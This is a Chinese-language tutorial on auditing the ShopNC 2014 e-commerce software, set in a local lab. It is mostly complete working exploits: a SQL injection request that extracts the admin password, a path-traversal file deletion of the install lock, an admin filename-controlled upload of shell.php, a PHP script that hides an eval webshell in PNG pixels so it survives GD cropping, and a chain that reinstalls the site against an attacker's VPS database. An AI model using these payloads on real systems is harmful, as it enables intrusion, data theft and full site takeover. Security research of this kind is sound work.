ShopNC商城代码审计与裁剪图片业务绕过Getshell教学文档
1. 环境搭建与配置
1.1 源码获取与部署
- 源码版本:ShopNC 2014.01.16.2490
- 获取地址:https://github.com/angels13/shopnc
- 关键步骤:删除
shop/install/lock文件以重新安装。
1.2 环境配置
- 操作系统:Windows 11
- 集成环境:phpStudy 2018
- 中间件:Nginx 1.11.5
- PHP版本:5.6.27 (需开启Xdebug)
- 数据库:MySQL 5.5.53 (需配置时区
default-time-zone=+08:00)
1.3 MySQL日志监控(用于审计SQL注入)
-- 开启通用查询日志
SHOW VARIABLES LIKE 'general_log%';
SET GLOBAL general_log = 'ON';
-- 使用PowerShell实时监控日志
chcp 65001
$file = "D:\phpStudy\PHPTutorial\MySQL\data\xxx.log"
Get-Content -Path $file -Wait -Tail 0 -Encoding UTF8
2. 核心漏洞审计与利用
2.1 SQL注入(数组绕过parseValue)
漏洞位置:core/framework/libraries/model.php 中的 parseValue 函数。
漏洞原理:
当传入的 $value 是数组且第一个元素为字符串 'exp' 时,函数直接返回第二个元素,不进行转义或过滤,导致SQL语句拼接。
关键代码:
protected function parseValue($value) {
if(is_string($value) || is_numeric($value)) {
$value = '\''.$this->escapeString($value).'\'';
} elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $value[1]; // 直接返回,未过滤!
}
// ... 其他逻辑
}
利用点:用户中心更新资料(act=home&op=member)或收货地址新建。
Payload构造:
将参数构造为数组,利用 exp 关键字绕过。
member_truename[0]=exp&member_truename[1]=(SELECT admin_password FROM shopnc_admin WHERE admin_id=1)
完整POC(用户中心更新):
POST /shopnc/shop/index.php?act=home&op=member&inajax=1 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
form_submit=ok&old_member_avatar=avatar_1.jpg&member_truename[0]=exp&member_truename[1]=(SELECT admin_password FROM shopnc.shopnc_admin WHERE admin_id=1)&member_sex=3&birthday=&province_id=&city_id=&area_id=&area_info=&member_qq=&member_ww=
利用限制:
- 字段长度限制(如
member_truename为varchar(20)),需选择长字段或使用子查询截取。 - 只能进行数据查询(
SELECT),无法执行UPDATE或堆叠注入(受mysql_query限制)。
2.2 任意文件删除(路径替换绕过)
漏洞位置:circle/control/cut.php 中的 pic_cutOp 方法。
漏洞原理:
代码使用 str_ireplace 将 UPLOAD_SITE_URL 替换为 BASE_UPLOAD_PATH,但未校验替换后的路径是否仍在安全目录内,导致目录穿越。
关键代码:
$src = str_ireplace(UPLOAD_SITE_URL, BASE_UPLOAD_PATH, $_POST['url']);
@unlink($src); // 直接删除!
利用场景:删除安装锁文件 shop/install/lock,使系统进入重装模式。
Payload构造:
利用 ../ 穿越目录,将 url 参数指向 lock 文件。
url=http://localhost/shopnc/data/upload/../../shop/install/lock
替换后路径变为:D:/www/shopnc/data/upload/../../shop/install/lock -> D:/www/shopnc/shop/install/lock
完整POC(头像裁剪接口):
POST /shopnc/circle/index.php?act=cut&op=pic_cut HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
form_submit=ok&x1=-43&x2=7&w=50&y1=-30&y2=20&h=50&url=http://localhost/shopnc/data/upload/../../shop/install/lock&newfile=avatar_1_new.png
2.3 管理员后台任意文件上传(文件名控制)
漏洞位置:admin/control/sns_member.php 中的 tag_editOp 方法。
漏洞原理:
在编辑会员标签时,如果POST中存在 old_membertag_name 参数,代码会调用 $upload->set('file_name', $_POST['old_membertag_name']) 直接设置保存的文件名,未过滤 ../,导致可以上传 .php 文件到任意目录。
关键代码:
if ($_POST['old_membertag_name'] != ''){
$upload->set('file_name', $_POST['old_membertag_name']); // 可控文件名
}
利用条件:
- 拥有管理员后台权限。
- 需要先创建一个会员标签(触发编辑逻辑)。
- 上传的图片需能绕过
getimagesize检测(使用带有Payload的PNG)。
Payload构造:
在Multipart表单中重复提交 old_membertag_name 字段,第二个值覆盖第一个,设置为 ../../shell.php。
完整POC:
POST /shopnc/admin/index.php?act=sns_member&op=tag_edit&id=1 HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCKI8sZgsLbdG0xR
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="form_submit"
ok
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="old_membertag_name"
08226595474847548.png <!-- 初始值,用于通过校验 -->
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_name"
dsfa
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="old_membertag_name"
../../shell.php <!-- 覆盖值,实现路径穿越 -->
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_img"; filename="payload.png"
Content-Type: image/png
[PNG文件二进制数据]
------WebKitFormBoundaryXCKI8sZgsLbdG0xR--
Webshell访问路径:http://localhost/shopnc/data/upload/shell.php
2.4 绕过PHP-GD图片裁剪(IDAT数据块保留)
漏洞背景:
普通图片木马经过GD库的 imagecopyresampled(重采样)或裁剪后,PHP代码会被破坏。本技术利用PNG的 IDAT数据块(压缩的像素数据区) 特性,使Payload在图片处理后被保留。
技术原理:
- PNG图片由数据块(Chunk)组成,如IHDR、IDAT、IEND。
- PHP的GD库在处理图片时,主要修改像素数据,但可能会保留原始的IDAT数据块结构。
- 通过精心构造像素颜色值(RGB),将PHP代码编码到像素中,即使图片被缩放,解码后的二进制数据依然包含有效的PHP代码。
生成恶意PNG的PHP脚本(gen.php):
<?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1];
$output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; } // 补齐3的倍数
$_pay_len=strlen($_payload);
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,$output);
?>
生成命令:
php gen.php "<?php @eval($_POST['ant']); ?>" payload.png
利用流程(结合裁剪Getshell):
- 上传:在“个人主页->相册”上传
payload.png。 - 获取原始URL:上传后返回的URL通常带
_240(缩略图),需去掉后缀得到原始图片URL(如http://localhost/shopnc/data/upload/shop/member/2/2_xxx.png)。 - 触发裁剪并重命名:调用裁剪接口(
act=cut&op=pic_cut),但将filename参数设置为shell.php。
裁剪POC:
POST /shopnc/circle/index.php?act=cut&op=pic_cut HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
form_submit=ok&x=32&x1=0&w=32&y1=0&h=32&url=http://localhost/shopnc/data/upload/shop/member/2/2_08230321886438744.png&filename=shell.php
关键参数解释:
x1=0, y1=0, w=32, h=32:裁剪区域从(0,0)开始,宽高为32px(需与生成图片的宽度匹配,确保所有像素被采样)。filename=shell.php:利用代码中的路径拼接BASE_UPLOAD_PATH.'/'.$_POST['filename'],将输出保存为PHP文件。
最终Shell路径:http://localhost/shopnc/data/upload/shell.php
3. 组合利用案例:从任意文件删除到Getshell
3.1 攻击链设计
- Step 1 - 删除Lock:利用2.2的任意文件删除漏洞,删除
install/lock。 - Step 2 - 重装控制数据库:访问首页触发安装,数据库地址填写攻击者控制的MySQL服务器(如Docker搭建的MySQL 5.5)。
- Step 3 - 获取后台权限:安装时设置已知的管理员账号密码。
- Step 4 - 后台Getshell:利用2.3的后台任意文件上传漏洞,上传Webshell。
3.2 快速搭建攻击数据库
docker run -d --name mysql55 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.5
3.3 重装数据包关键点
在安装向导的数据库配置步骤,填写:
- 数据库服务器:
你的VPS_IP - 用户名:
root - 密码:
root - 数据库名:
shopnc(需提前在VPS上创建好空数据库)